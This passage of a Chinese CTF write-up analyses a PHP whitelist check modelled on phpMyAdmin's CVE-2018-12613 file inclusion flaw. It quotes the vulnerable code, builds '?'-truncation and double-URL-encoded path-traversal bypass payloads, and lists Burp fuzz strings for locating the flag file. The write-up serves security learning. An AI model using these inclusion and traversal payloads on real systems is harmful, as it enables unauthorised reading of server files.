"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) { //0.$page是否为空,是否为字符串
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) { //1.$page是否在数组里
return true;
}
$_page = mb_substr( //取字符串的一部分
$page,
0,
mb_strpos($page . '?', '?') //返回字符在字符串中首次出现的位置
);
if (in_array($_page, $whitelist)) { //$page是否数组中
return true;
}
$_page = urldecode($page); //url解码
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) { //$page是否数组中
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file']) //是否为空
&& is_string($_REQUEST['file'])//是否是字符串
&& emmm::checkFile($_REQUEST['file'])//进入函数
) {
include $_REQUEST['file'];//满足条件后包含'file'
} else {
echo "
";
}
?>
从上面的代码中可以看出对传入的REQUEST
参数file经过层层筛选,当file进入函数checkFile
后,可以看出,如果file在数组中,则会返回True,进而include包含file,大致猜出这是一个包含漏洞,但是韩式没有头绪。看到checkFile
的变量:$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
看到还有一个hint.php
。由于REQUEST
的参数包含GET
方法传递的参数,所以直接GET
传file,在url结尾加?file=hint.php
,看到返回的页面提示flag not here, and flag in ffffllllaaaagggg
,到这里我想了好久,还是不明白。觉得checkFike里的后俩判断很可疑,但不知如何利用,于是问了度娘,得知:
phpmyadmin4.8.1远程文件包含漏洞 CVE-2018-12613
这是一个文件包含+目录穿越的漏洞,于是剩下就是构造url了,而url怎么构造呢?
看checkFile的源码可以看出,
if (! isset($page) || !is_string($page)) { //0.$page是否为空,是否为字符串
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) { //1.$page是否在数组里
return true;
}
这两次判断是做不了手脚了,即使返回True,也只能包含$whitelist里的两个文件,于是往下看。
法1:
$_page = mb_substr( //取字符串的一部分
$page,
0,
mb_strpos($page . '?', '?') //返回字符在字符串中首次出现的位置
);
if (in_array($_page, $whitelist)) { //$page是否数组中
return true;
}
可以看出,$_page
是我们需要的,也可以被利用,我们大致构造一个?file=hint.php?/..//ffffllllaaaagggg
(大致是这个样,具体还需要测试),进而既能满足函数的判断,也能使目标文件被包含。达到目的。
同理,继续往下看
法2:
$_page = urldecode($page); //url解码
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) { //$page是否数组中
return true;
}
发现, $_page
又进行一次解码,本身服务器会进行一次解码,然后可以看出可上一个同理,只不过需要经过两次url编码,所以构造 大致构造一个?file=hint.php%253f/..//ffffllllaaaagggg
,进而达到目的。
但是不知道ffffllllaaaagggg文件在哪,可以写一个小脚本,跑着试一下/../../../../../../../../ffffllllaaaagggg
,也即是尝试找ffffllllaaaagggg
文件的路径,脚本后期再补。
整体就是这样,两种方法都可,主要要看那个漏洞的,这个题就是那个漏洞的变换,换汤不换药。
补充:本来想着用脚本试flag的路径,然后想了想,还是用burpsuit一把fuzz比较好用,截图如下:
txt如下
hint.php?/../ffffllllaaaagggg
hint.php?/../../ffffllllaaaagggg
hint.php?/../../../ffffllllaaaagggg
hint.php?/../../../../ffffllllaaaagggg
hint.php?/../../../../../ffffllllaaaagggg
hint.php?/../../../../../../ffffllllaaaagggg
hint.php?/../../../../../../../ffffllllaaaagggg
hint.php?/../../../../../../../../ffffllllaaaagggg
hint.php?/../../../../../../../../../ffffllllaaaagggg
hint.php?/../../../../../../../../../../ffffllllaaaagggg
hint.php?/../../../../../../../../../../../ffffllllaaaagggg
用bp跑过的结果:
于是就跑出来了,但是发下一个问题,就是目录穿越的时候,只要../
的个数大于等于实际的,就会返回要包含的文件,正如上图里面,Request为>=4都会返回我们想要的结果,不明白为什么??希望会的解答一下。